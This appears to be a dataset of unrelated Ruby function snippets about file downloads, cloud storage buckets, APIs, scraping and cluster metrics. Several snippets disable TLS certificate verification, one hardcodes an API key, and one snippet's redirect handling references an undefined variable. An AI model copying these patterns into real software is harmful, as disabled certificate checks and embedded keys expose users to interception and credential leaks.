"def gamma_dist()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Gamma_Dist::GammaDistRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def capacity_distribution(key)\n (@cap_distributions ||= {})[key.to_sym] ||=\n CSVDocument.curve(dataset_dir.join(\"network/#{ key }.csv\"))\n end",
"def download(url)\n benchmark_with_exception_handling(\"Download shipping label #{url}\") do\n Tempfile.open('shipping-label', config.download_cache_dir, encoding: 'ASCII-8BIT') do |cache|\n bytes = 0\n http.get_content(url) do |chunk|\n bytes += cache.write(chunk)\n end\n logger.debug(\"Wrote #{bytes} bytes from #{url} to #{cache.path}\")\n cache\n end\n end\n end",
"def download\n @route.update_last_download_at\n file = @route.gpx\n\n send_file(file)\n end",
"def download\n storage.download(id)\n end",
"def gs_url\n \"gs://#{self.bucket_id}\"\n end",
"def set_usage_export_bucket request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/setUsageExportBucket\"\n body = request_pb.usage_export_location_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"def download(county)\n puts \" F95BA #{county}\"\n results = @client.find :all, {\n class: '1', # 1 Residential\n query: \"(246=|A),(61=|#{county})\", #246 ListingStatus\n #A ActiveAvailable\n #61 County\n select: '157,881,10,922,924,137,261,129,246,80,61,25,1424,102,214,314,96,1,131,1329,sysid', \n search_type: 'Property'\n }\n puts \"F95BA #{results.size} listings\"\n #puts \"F95BA saving\"\n pg_save(results)\n results\n end",
"def aws_download(location, name)\n return Rubyprot::Storage.aws_download(location, name)\n end",
"def fitFiles(target)\n buckets()\n runningSize = 0\n fileSet = FileSet.new(target, @log, @DEBUG, @LOG_DEBUG)\n \n # Go thru each bucket...\n @sortedBuckets.each do |bkt|\n Utils.printMux(@log, \"Processing bucket '#{bkt}'\")\n\n # ... And each file in the bucket\n @data[bkt].each do |file| \n Utils.printMux(@log, \"\\tProcessing file '#{file}'\")\n\n # The regular call to size won't work with larger (> 2 GB) files in some versions of Ruby, so call the custom version added above.\n fsize = File.size_big(file)\n\n Utils.printMux(@log, \"\\t\\t fsize: #{fsize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"\\t\\trunningSize: #{runningSize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"\\t\\t target: #{target}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n\n\t\t\t # Sanity check the file size\n if (fsize < 0)\n Utils.printMux(@log, \"\\t\\t*** WARNING: fsize < 0 - skipping!\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n next\n end\n\n # Make sure this file won't push us over the limit\n if (fsize + runningSize) < target\n # take the first file in this bucket \n Utils.printMux(@log, \"\\t\\tAdding '#{file}' and removing from bucket\")\n fileSet.add(file, fsize)\n runningSize += fsize\n \n # Remove the file from the original list\n @data[bkt].delete(file)\n \n # See if we should remove the bucket, too\n if @data[bkt].size() == 0\n @data.delete(bkt)\n Utils.printMux(@log, \"Removed bucket '#{bkt}'\\n\")\n end\n else\n # Go to the next bucket and look at smaller files\n Utils.printMux(@log, \"\\t\\tDropping down to next bucket\\n\")\n break\n end\n\n # Give the CPU a bit of a break in between files\n sleep @sleepInterval\n end # iterate files\n\n # Give the CPU a bit of a break in between buckets\n sleep @sleepInterval\n end # iterate buckets\n \n # Save off the running size in the object\n @totalSize = runningSize\n \n # Save off the file set\n @fileSets << fileSet\n\n Utils.printMux(@log, \"totalSize: #{totalSize}\\n\", @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n Utils.printMux(@log, \"fileSets:\\n\" + @fileSets.pretty_inspect(), @DEBUG, @LOG_DEBUG, Utils::DEBUG_LOW, Utils::LOG_LOW)\n\n return fileSet\n end",
"def perform(at=DateTime.now)\n\n # find the folder the data lives in\n\n at = at.utc.beginning_of_day\n url = nil\n\n while true\n url = \"https://nomads.ncdc.noaa.gov/data/gfs4/#{at.strftime('%Y%m')}/#{at.strftime('%Y%m%d')}/\"\n break if dataset_exists? url\n\n at -= 1.day\n end\n\n # download it\n remaining_retries = 5\n begin\n download url\n rescue HTTP::ConnectionError => error\n if remaining_retries <= 0\n raise error\n end\n\n puts \"Caught #{error}. Retrying\"\n remaining_retries -= 1\n\n retry\n end\n end",
"def dump_weights(target,output_path)\n ## jankiest thing that will work development approach\n\n summary = {}\n\n # assetion here is every node in the target group has same weight (should be true)\n key = @weights.keys.first\n @weights[key].each do |provider, config|\n enabled = config[\"serve_mode\"] != \"no\" ? true : false\n weight = config[\"weight\"]\n summary[provider] = { :enabled => enabled, :weight => weight }\n end\n\n total_weight = 0\n # calculate percentages\n summary.each do |provider,config|\n if config[:enabled]\n total_weight += config[:weight]\n end\n end\n\n summary.each do |provider,config|\n if config[:enabled]\n pct = (config[:weight].to_f / total_weight) * 100\n else\n pct = 0\n end\n summary[provider][:pct] = pct\n end\n\n fn = \"#{output_path}/cdn_#{target}.json\"\n\n begin\n File.open(fn, 'w') {|f| f.write(summary.to_json) }\n rescue Exception => e\n puts \"** WARNING: was unable to update JSON (#{e.message}), dashboards will be inconsistent\"\n else\n puts \"** Updated details in #{fn}\"\n end\n end",
"def download\n @cookbook = Cookbook.with_name(params[:cookbook]).first!\n @cookbook_version = @cookbook.get_version!(params[:version])\n\n CookbookVersion.increment_counter(:api_download_count, @cookbook_version.id)\n Cookbook.increment_counter(:api_download_count, @cookbook.id)\n Supermarket::Metrics.increment('cookbook.downloads.api')\n\n redirect_to @cookbook_version.tarball.url\n end",
"def scg_report\n @scg_csv_array = []\n get_resource_list('compute', 'storage-connectivity-groups', 'storage_connectivity_groups', name = 'display_name', id = 'id')\n @resource_id_list.each do |scgid|\n scg = rest_get(\"#{@resource_url}/storage-connectivity-groups/#{scgid}\", @token_id)\n scg_array = JSON.parse(scg)['storage_connectivity_group']\n scg_name = scg_array['display_name']\n scg_auto_add_vios = scg_array['auto_add_vios']\n scg_fc_storage_access = scg_array['fc_storage_access']\n scg_ports_per_fabric_npiv = scg_array['ports_per_fabric_npiv']\n @scg_host_list = []\n @scg_host_array = scg_array['host_list']\n @scg_host_array.each do |host|\n @scg_host_list.push(host['name'])\n end\n @scg_vios_array = scg_array['host_list'][0]['vios_list']\n @scg_vios_names = []\n @scg_vios_array.each do |vios|\n @scg_vios_names.push(vios['name'])\n end\n @scg_csv_headers = %w(SCG_Name SCG_Auto_Add_VIOs SCG_FC_Storage_Access SCG_Ports_per_Fabric SCG_Host_List SCG_VIOs_List)\n @scg_csv_array << [scg_name, scg_auto_add_vios, scg_fc_storage_access, scg_ports_per_fabric_npiv, @scg_host_list, @scg_vios_names]\n end\n end",
"def download\n track = tracks.joins(:library).where(:libraries => {:online => true}).first\n if track\n DownloadWorker.enqueue(:url => track.url, :song_id => self.id)\n else\n dequeue!\n end\n end",
"def download(limit=100, download_to=File.expand_path(\".\")+File::SEPARATOR+\"edgar_data\")\n items=@content[\"channel\"][0][\"item\"]\n items.each_with_index do |item, index|\n break if index==limit\n files=get_xbrl_files(item)\n download_to += File::SEPARATOR unless download_to.end_with?(File::SEPARATOR)\n data_dir=download_to\n data_dir=data_dir+File::SEPARATOR+item[\"xbrlFiling\"][0][\"cikNumber\"][0][\"content\"]\n data_dir=data_dir+File::SEPARATOR+item[\"xbrlFiling\"][0][\"accessionNumber\"][0][\"content\"]\n mkdir(data_dir)\n files.each do |file|\n file_content=open(file[\"edgar:url\"]).read\n dump_to_file(data_dir+File::SEPARATOR+file[\"edgar:file\"], file_content)\n end\n end\n end",
"def download(key, filepath)\n log \"downloading #{key} from #{container_path}\"\n object_path = File.join(container_path, Raca::Util.url_encode(key))\n outer_response = storage_client.get(object_path) do |response|\n File.open(filepath, 'wb') do |io|\n response.read_body do |chunk|\n io.write(chunk)\n end\n end\n end\n outer_response[\"Content-Length\"].to_i\n end",
"def fetch_s3(package)\n\tbucket = $s3client.bucket(\"rogoodpractice\")\n\t\n\t# get all objects\n obs = bucket.objects;\n \n # pull out those matching package name\n obs = obs.select { |a| a.key.match(/#{package}/) };\n\n # pull out those with .txt files\n obstxt = obs.select { |a| a.key.match(/\\.txt/) }\n\n # pull out latest file by timestamp\n\ttarget = obstxt.max_by { |a| a.last_modified }\n\n\t# get URL\n\ttarget.temporary_url\nend",
"def download_external_best_bets\n\tunless ENV['FUNNELBACK_PASSWORD']\n\t\tabort('The FUNNELBACK_PASSWORD enviornment variable is not set')\n\tend\n\tbegin\n\t\thttp = Net::HTTP.new(ENV['FUNNELBACK_DOMAIN'],ENV['FUNNELBACK_PORT'])\n\t\treq = Net::HTTP::Get.new(\"/search/admin/download-conf.cgi?collection=website&f=best_bets.cfg&dir=profile-folder-_default_preview\")\n\t\thttp.use_ssl = true\n\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\treq.basic_auth ENV['FUNNELBACK_USERNAME'], ENV['FUNNELBACK_PASSWORD']\n\t\tresponse = http.request(req)\n\trescue\n \terb :loaderror\n else\n\t \topen(\"data/best-bets-external.txt\", \"wb\") { |file|\n \tfile.write(response.body)\n \t}\n end\nend",
"def download_internal_best_bets\n\tunless ENV['FUNNELBACK_PASSWORD']\n\t\tabort('The FUNNELBACK_PASSWORD enviornment variable is not set')\n\tend\n\tbegin\n\thttp = Net::HTTP.new(ENV['FUNNELBACK_DOMAIN'],ENV['FUNNELBACK_PORT'])\n\treq = Net::HTTP::Get.new(\"/search/admin/download-conf.cgi?collection=website&f=best_bets.cfg&dir=profile-folder-internal-preview\")\n\thttp.use_ssl = true\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\treq.basic_auth ENV['FUNNELBACK_USERNAME'], ENV['FUNNELBACK_PASSWORD']\n\tresponse = http.request(req)\nrescue\n \terb :loaderror\n else\n\t\n\topen(\"data/best-bets-internal.txt\", \"wb\") { |file|\n\t\tfile.write(response.body)\n }\nend\nend",
"def download(path, key)\n File.open(path + '/' + File.basename(key), 'wb') do |file|\n client.get_object({ bucket: ENV['AWS_BUCKET'], key: key }, target: file)\n end\n end",
"def download_chunk(key, range)\n service(key).download_chunk(key, range)\n end",
"def google_bucket_url\n \"https://accounts.google.com/AccountChooser?continue=https://console.cloud.google.com/storage/browser/#{self.bucket_id}\"\n end",
"def download_b2_file(image_info, *sightings_count)\n\n folder = image_info[0]\n filename = image_info[1]\n b2_file_path = \"#{folder}/#{filename}\"\n\n if sightings_count\n sightings_count = sightings_count[0]\n subdirectory = folder.split(\"/\")[1]\n sightings_dir = create_directory(subdirectory, sightings_count)\n swap_file = \"#{sightings_dir}/#{filename}\"\n else\n create_folder()\n swap_file = \"./public/swap/#{filename}\" # use when running via app.rb\n # swap_file = \"../public/swap/#{file}\" # use when running locally from /lib/b2_bucket.rb\n end\n\n file_url = b2_generate_file_url(filename, folder)\n\n uri = URI(file_url)\n req = Net::HTTP::Get.new(uri)\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then\n res.body\n swapfile = File.new(swap_file, 'wb')\n swapfile.puts(res.body)\n swapfile.close\n when Net::HTTPRedirection then\n fetch(res['location'], limit - 1)\n else\n res.error!\n end\n\nend",
"def stock_scraper(range)\n bad_pages = {}\n hits = {}\n mech = Mechanize.new\n mech.user_agent = \"Melon MTG Scraper v0.1 - awkwardmelon@gmail.com - Please contact if the behavior of this bot is found to be problematic in any way.\"\n range.shuffle.each do |n|\n begin\n page = mech.get(\"http://mtgstocks.com/cards/#{n}\")\n rescue Exception => e\n bad_pages[\"#{n}\"] = e\n next\n end\n if page.code == \"200\"\n id = page.uri.path.scan(/\\d+/).first.to_i\n card = page.at(\"title\").text.chomp(\" - MTGStocks.com\")\n set = page.at(\".indent\").at(\"a\").text\n hits[\"Card: #{card}\" + \" \" + \"Set: #{set}\"] = n\n end\n puts \"#{card} - #{set} - #{n}\"\n sleep(rand(1.0..2.0))\n end\n File.open(\"mtgStocksNumberScrape.rb\", \"w\") do |f|\n f.write(JSON.dump(hits))\n end\n return hits\n end",
"def backed_up()\n cnt = @queue.size() + (@current_req.nil? ? 0 : 1)\n return 0 if 0 == cnt\n if @max_queue_count.nil? || 0 == @max_queue_count\n cnt = 80 if 80 < cnt\n cnt\n else\n cnt * 100 / @max_queue_count\n end\n end",
"def download_chunk(key, range)\n raise NotImplementedError\n end",
"def knit_gauge\n data[:knit_gauge]\n end",
"def download_10k_reports(ticker, save_folder) # FIXME: should be private?\n @log.info(\"Downloading 10k reports for #{ticker}\") if @log\n if !good_ticker?(ticker)\n @log.error(\"#{ticker} is not a good ticker\") if @log\n return nil\n end\n\n reports = lookup_reports(ticker)\n return nil if reports.nil?\n reports.keep_if { |r| r[:type]=='10-K' }\n\n report_files = get_reports(reports, save_folder)\n return report_files\n end",
"def get_data_google(lcotes)\n puts \"GOOGL get\"\n fields=[\n :name,\n :last_trade_price,:last_trade_time,\n :volume,:previous_close,\n :change_in_percent,\n :ask,:open,:bid\n ]\n puts \"GOOGLE key\"\n client = Alphavantage::Client.new(key: \"98H5525ZU964LW7U\")\n client.verbose = true \n puts \"GOOGLE finance Get\"\n l=lcotes.pmap {|symbol| \n begin\n stock=client.stock(symbol: symbol)\n next(nil) unless stock\n tm=stock.timeseries(type: \"intraday\", interval: \"5min\").hash[\"Time Series (5min)\"]\n a=tm.to_a\n data=a.first.last\n data[\"name\"]=symbol\n data[\"1. open\"]=a.last.last[\"1. open\"]\n data[\"time\"]=a.first.first\n #p data\n data\n rescue Exception => e\n p e\n nil\n end\n }\n puts \"GOOGLE finance Response\"\n ret= l.each_with_object({}) {|data,h|\n if data\n n=data[\"name\"]\n #puts \"\\n\\n=========================================\"\n #puts data.pretty_inspect\n #puts \"cotes_#{n}.rb\"\n #File.write(\"cotes_#{n}.rb\",data.pretty_inspect)\n h[n]={\n \"bname\" => data[:name],\n \"volume\" => nai(data[\"5. volume\"]), \n \"last\" => naf(data[\"4. close\"]), \n \"time\" => ftime(data[\"time\"]),\n \"ask\" => naf(\"0\"), \n \"open\" => naf(data[\"1. open\"]), \n \"pct\" => 10, \n \"bid\" => naf(\"0\"), \n \"prev\" => naf(data[\"1. open\"]), #?\n \"per\" => naf(\"0\"), # ratio capitalisation/resultat-annuel\n \"peg\" => naf(\"0\"), # ratio capitalisation/resultat-glissant\n \"unit\" => '$',\n }\n end\n #gui_invoke {alert(\"#{n} => #{h[n].inspect}\") } if $first\n }\n puts\n pp ret\n return ret\nend",
"def download(key)\n raise NotImplementedError\n end",
"def disk_space_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.disk_free_limit<.disk_free*.8'`\n end",
"def download\n @data = HeyDan::Helper.get_data_from_url(HeyDan.cdn + '/' + dataset_file_name)\n end",
"def download_prices() \n\t\t \t \t \t\n\t\t\t\t@dropbox_token = DropboxSession.deserialize(Linkdropbox.first.dropbox_token)\n\t\t\t\tclient = DropboxClient.new(@dropbox_token)\n\t\t\t\tcontents, metadata = client.get_file_and_metadata('Grupo8/DBPrecios.accdb')\n\t\t\t\tbegin\n\t\t\t\t open('public/jars/DBPrecios.accdb', 'wb') {|f| f.puts contents }\n\t\t\t\t \n\t\t\t\t \n\t\t\t\trescue\n\t\t\t\t flash[:success] = \"Exception occured while downloading...\"\t\t\n\n\t \t\tend \n\n\t \t\tLinkdropbox.import_prices_to_csv\t\n\tend",
"def default_bucket\n request(method: :get, path: '/v1/buckets')\n end",
"def get_download_quota\n @download_quota = self.class.get_download_quota\n end",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n ManageIQ::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to @version.download_url\n end",
"def download_slideshow\n Down.download bucket_url.url\n end",
"def cluster_stats(url, time)\n\n logger.info \"cluster_stats:start: url = #{url}, time = #{time.to_i}\"\n\n jsonResponse = rest_call(url)\n response_hash = JSON.parse(jsonResponse)\n #puts response_hash\n node_count = response_hash['nodes'].count\n nodes = response_hash['nodes']\n\n #puts \"Total number of nodes in the cluster = #{node_count.to_s}\"\n\n #rebalance status in the cluster\n rebalanceStatus = response_hash['rebalanceStatus']\n rebalance = rebalanceStatus.eql?('none') ? 0 : 1\n\n #ram metrics in the cluster\n ram_total = response_hash['storageTotals']['ram']['total']\n ram_quota_total = response_hash['storageTotals']['ram']['quotaTotal']\n ram_quota_used = response_hash['storageTotals']['ram']['quotaUsed']\n ram_used = response_hash['storageTotals']['ram']['used']\n ram_used_by_data = response_hash['storageTotals']['ram']['usedByData']\n ram_quota_used_per_node = response_hash['storageTotals']['ram']['quotaUsedPerNode']\n ram_quota_total_per_node = response_hash['storageTotals']['ram']['quotaTotalPerNode']\n\n #cluster RAM level stats\n write_to_graphite( construct_metric_name('rebalance', CONST_CLUSTER_LEVEL), rebalance, time)\n write_to_graphite( construct_metric_name('ram_total', CONST_CLUSTER_LEVEL), ram_total.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_total', CONST_CLUSTER_LEVEL), ram_quota_total.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_used', CONST_CLUSTER_LEVEL), ram_quota_used.to_s, time)\n write_to_graphite( construct_metric_name('ram_used', CONST_CLUSTER_LEVEL), ram_used.to_s, time)\n write_to_graphite( construct_metric_name('ram_used_by_data', CONST_CLUSTER_LEVEL), ram_used_by_data.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_used_per_node', CONST_CLUSTER_LEVEL), ram_quota_used_per_node.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_total_per_node', CONST_CLUSTER_LEVEL), ram_quota_total_per_node.to_s, time)\n\n #HDD metrics in the cluster\n hdd_total = response_hash['storageTotals']['hdd']['total']\n hdd_quota_total = response_hash['storageTotals']['hdd']['quotaTotal']\n hdd_used = response_hash['storageTotals']['hdd']['used']\n hdd_used_by_data = response_hash['storageTotals']['hdd']['usedByData']\n hdd_free = response_hash['storageTotals']['hdd']['free']\n\n #cluster HDD level stats\n write_to_graphite( construct_metric_name('hdd_total', CONST_CLUSTER_LEVEL), hdd_total.to_s, time)\n write_to_graphite( construct_metric_name('hdd_quota_total', CONST_CLUSTER_LEVEL), hdd_quota_total.to_s, time)\n write_to_graphite( construct_metric_name('hdd_used', CONST_CLUSTER_LEVEL), hdd_used.to_s, time)\n write_to_graphite( construct_metric_name('hdd_used_by_data', CONST_CLUSTER_LEVEL), hdd_used_by_data.to_s, time)\n write_to_graphite( construct_metric_name('hdd_free', CONST_CLUSTER_LEVEL), hdd_free.to_s, time)\n\n nodes.each do |node|\n\n #systemStats\n swap_total = node['systemStats']['swap_total']\n swap_used = node['systemStats']['swap_used']\n mem_total = node['systemStats']['mem_total']\n mem_free = node['systemStats']['mem_free']\n\n #interestingStats\n cmd_get = node['interestingStats']['cmd_get']\n couch_docs_actual_disk_size = node['interestingStats']['couch_docs_actual_disk_size']\n couch_docs_data_size = node['interestingStats']['couch_docs_data_size']\n curr_items = node['interestingStats']['curr_items']\n curr_items_tot = node['interestingStats']['curr_items_tot']\n ep_bg_fetched = node['interestingStats']['ep_bg_fetched']\n get_hits = node['interestingStats']['get_hits']\n mem_used = node['interestingStats']['mem_used']\n ops = node['interestingStats']['ops']\n vb_replica_curr_items = node['interestingStats']['vb_replica_curr_items']\n\n clusterMembership = node['clusterMembership']\n status = node['status']\n otpNode = node['otpNode']\n otpNode = otpNode.gsub('.','-')\n\n\n if (status =='healthy' && clusterMembership == 'active' )\n @healthy_nodes += 1\n end\n\n if (clusterMembership == 'inactiveFailed' )\n @failover_nodes += 1\n end\n\n #node level systemStats\n write_to_graphite( construct_metric_name(\"#{otpNode}.swap_total\", CONST_NODE_LEVEL), swap_total.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.swap_used\", CONST_NODE_LEVEL), swap_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_total\", CONST_NODE_LEVEL), mem_total.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_free\", CONST_NODE_LEVEL), mem_free.to_s, time)\n\n\n #node level interestingStats\n write_to_graphite( construct_metric_name(\"#{otpNode}.cmd_get\", CONST_NODE_LEVEL), cmd_get, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.couch_docs_actual_disk_size\", CONST_NODE_LEVEL), couch_docs_actual_disk_size, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.couch_docs_data_size\", CONST_NODE_LEVEL), couch_docs_data_size, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.curr_items\", CONST_NODE_LEVEL), curr_items)\n write_to_graphite( construct_metric_name(\"#{otpNode}.curr_items_tot\", CONST_NODE_LEVEL), curr_items_tot, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.ep_bg_fetched\", CONST_NODE_LEVEL), ep_bg_fetched, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.get_hits\", CONST_NODE_LEVEL), get_hits, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_used\", CONST_NODE_LEVEL), mem_used, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.ops\", CONST_NODE_LEVEL), ops, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.vb_replica_curr_items\", CONST_NODE_LEVEL), vb_replica_curr_items, time)\n\n end\n\n\n healthy = nodes.length == @healthy_nodes ? 1 : 0\n write_to_graphite( construct_metric_name('healthy_node_num', CONST_CLUSTER_LEVEL), @healthy_nodes.to_s, time)\n write_to_graphite( construct_metric_name('node_num', CONST_CLUSTER_LEVEL), nodes.length.to_s, time)\n write_to_graphite( construct_metric_name('healthy', CONST_CLUSTER_LEVEL), healthy.to_s, time)\n\n logger.info 'cluster_stats:end: Completed'\n end",
"def create_bucket(bucket_key,access_token)\n response = RestClient.post(\"#{API_URL}/oss/v2/buckets\",\n { bucketKey: bucket_key, policyKey:'transient'}.to_json,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/json' })\n return response\nend",
"def storage_cost(storage_id)\n\t\t\n\tend",
"def download_chunk(key, range)\n instrument :download_chunk, key: key, range: range do\n file = file_for(key)\n file.seek range.begin\n file.read range.size\n end\n end",
"def refresh_grade_distribution\n self.grade_distribution_percentage =\n self.assignment.grade_distribution_array.to_csv\n self.save\n end",
"def storage_throughput\n data[:storage_throughput]\n end",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n BonsaiAssetIndex::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to helpers.download_url_for(@version)\n end",
"def download!\n\t\traise_if_error C.glyr_opt_download(to_native, true)\n\tend",
"def get_metadata bucket_name:, file_name:\n # The ID of your GCS bucket\n # bucket_name = \"your-unique-bucket-name\"\n\n # The ID of your GCS object\n # file_name = \"your-file-name\"\n\n require \"google/cloud/storage\"\n\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket bucket_name\n file = bucket.file file_name\n\n puts \"Name: #{file.name}\"\n puts \"Bucket: #{bucket.name}\"\n puts \"Storage class: #{bucket.storage_class}\"\n puts \"ID: #{file.id}\"\n puts \"Size: #{file.size} bytes\"\n puts \"Created: #{file.created_at}\"\n puts \"Updated: #{file.updated_at}\"\n puts \"Generation: #{file.generation}\"\n puts \"Metageneration: #{file.metageneration}\"\n puts \"Etag: #{file.etag}\"\n puts \"Owners: #{file.acl.owners.join ','}\"\n puts \"Crc32c: #{file.crc32c}\"\n puts \"md5_hash: #{file.md5}\"\n puts \"Cache-control: #{file.cache_control}\"\n puts \"Content-type: #{file.content_type}\"\n puts \"Content-disposition: #{file.content_disposition}\"\n puts \"Content-encoding: #{file.content_encoding}\"\n puts \"Content-language: #{file.content_language}\"\n puts \"KmsKeyName: #{file.kms_key}\"\n puts \"Event-based hold enabled?: #{file.event_based_hold?}\"\n puts \"Temporary hold enaled?: #{file.temporary_hold?}\"\n puts \"Retention Expiration: #{file.retention_expires_at}\"\n puts \"Custom Time: #{file.custom_time}\"\n puts \"Metadata:\"\n file.metadata.each do |key, value|\n puts \" - #{key} = #{value}\"\n end\nend",
"def download_ncbi\n#\t\t\tdb = \"nuccore\"\n\t\t\tterm = \"txid\" + taxon.id\n\t\t\ttype = \"refseq\"\n\t\t\t\t\t\t\n\t\t\t# WGS projects must be downloaded this way:\n\t\t\t\n\t\t\tif taxon.name == \"borrelia.burgdorferi_80a\"\n#\t\t\t\tterm += \"[Organism:exp]+biomol genomic[properties]\"\n#\t\t\t\tdb = \"nuccore\"\n\t\t\t\ttype = \"wgs\"\n\t\t\tend\n\t\t\t\n\t\t\tif taxon.name == \"babesia.bovis_T2Bo\"\n#\t\t\t\tterm += \"[Organism:exp]+biomol genomic[properties]\"\n#\t\t\t\tdb = \"nuccore\"\n\t\t\t\ttype = \"wgs\"\n\t\t\tend\n\t\t\t\n\t\t\tif taxon.name == \"plasmodium.falciparum_dd2\"\n#\t\t\t\tterm += \"[Organism:exp]+biomol genomic[properties]\"\n#\t\t\t\tdb = \"nuccore\"\n\t\t\t\ttype = \"wgs\"\n\t\t\tend\n\t\t\t\n\t\t\tif taxon.name == \"plasmodium.falciparum_hb3\"\n#\t\t\t\tterm += \"[Organism:exp]+biomol genomic[properties]\"\n#\t\t\t\tdb = \"nuccore\"\n\t\t\t\ttype = \"wgs\"\n\t\t\tend\n\t\t\t\n\t\t\toutdir = config.dir_source + taxon.name\n\t\t\toutdir.mkpath if ! outdir.exist?\n\t\t\toutfile = config.dir_source + taxon.name + (taxon.name + \".gb\")\n\t\t\t#outfile.unlink if outfile.exist?\n\t\t\t\n\t\t\t#ncbi_download(term, db, outfile, type)\n\t\t\tncbi_download(term, outfile, type, file_log)\n\t\tend",
"def get_overview_info\n start = Time.now\n\n # open the json file of all cars and models and years\n json = JSON.parse(File.read(@all_cars_file_with_years))\n\n if json.nil?\n puts \"ERROR - could not find json file\"\n exit\n end\n\n hydra = Typhoeus::Hydra.new(max_concurrency: @max_concurrency)\n request = nil\n total_to_download = json.values.map{|x| x['models'].values.map{|y| y['years'].length}}.flatten.inject(0, :+)\n total_left_to_download = json.values.map{|x| x['models'].values.map{|y| y['years'].length}}.flatten.inject(0, :+)\n\n # for each car, model, year - get overview\n json.each do |key_car, car|\n car['models'].each do |key_model, model|\n\n model['details'] = Hash.new\n\n model['years'].each do |year|\n model['details'][year] = Hash.new\n\n # request the url\n request = Typhoeus::Request.new(\n @overiew_url.gsub('{car}', car['seo']).gsub('{model}', model['seo']).gsub('{year}', year.to_s),\n :headers=>{\"User-Agent\" => @user_agent},\n followlocation: true, ssl_verifypeer: false, ssl_verifyhost: 0\n )\n\n request.on_complete do |response|\n # process the html\n model['details'][year]['overview'] = process_overview_page(response.response_body)\n\n total_left_to_download -= 1\n\n if total_left_to_download % 100 == 0\n puts \"\\n\\n- #{total_left_to_download} overview files left to downloaded (out of #{total_to_download}); time so far = #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n end\n hydra.queue(request)\n end\n end\n end\n\n hydra.run\n\n puts \"FINISHED DOWNLOAD DATA!!\"\n\n # save to file\n File.open(@all_cars_file_with_years_overview, 'wb') { |file| file.write(JSON.generate(json)) }\n\n puts \"TOTAL TIME TO DOWNLOAD AND WRITE OVERVIEWS TO FILE = #{((Time.now-start)/60).round(2)} minutes\"\nend",
"def gs_url(filename)\n if self.has_file?(filename)\n \"gs://#{self.study.bucket_id}/#{filename}\"\n end\n end",
"def upload_latest_copy\n upload_to_s3(report_files, prefix)\n end",
"def kyc_report_download_template\n 'kyc_report_download'\n end",
"def run\n fetcher = Outatime::Fetcher.new(options)\n\n pb = ProgressBar.create(total: nil,\n format: \"%t: |%B| %f %c/%C %R MB/sec\",\n rate_scale: lambda { |rate| rate / 1024 / 1024 },\n throttle_rate: 0.5)\n\n fetcher.fetch! do |file|\n pb.progress += file.size\n end\n end",
"def queue_to_download\n self.save!\n end",
"def cache_history\n x = HistoryOldestDayData.fetch; nil\n data = x.as_json; nil\n\n tod_ay = DateTime.now.strftime(\"%Y-%m-%d\")\n json_file = DateTime.now.strftime(\"%Y-%m-%d\") + \".json\"\n nd = NDJSON::Generator.new json_file\n # write each package's data to disk\n # - before writing, remove auto-generated id column\n data.each do |x|; nil\n nd.write(x.except(\"id\")); nil\n end; nil\n\n # compress json file\n compress_file(json_file)\n json_file_gz = json_file + \".gz\"\n\n # upload\n # - set content-type: application/json\n # - set content-encoding: gzip\n obj = $s3_x.bucket(\"cchecks-history\").object(json_file_gz)\n obj.upload_file(json_file_gz,\n :content_type => \"application/json\",\n :content_encoding => \"gzip\")\n\n # delete ndjson file on disk\n File.delete(json_file)\n File.delete(json_file_gz)\nend",
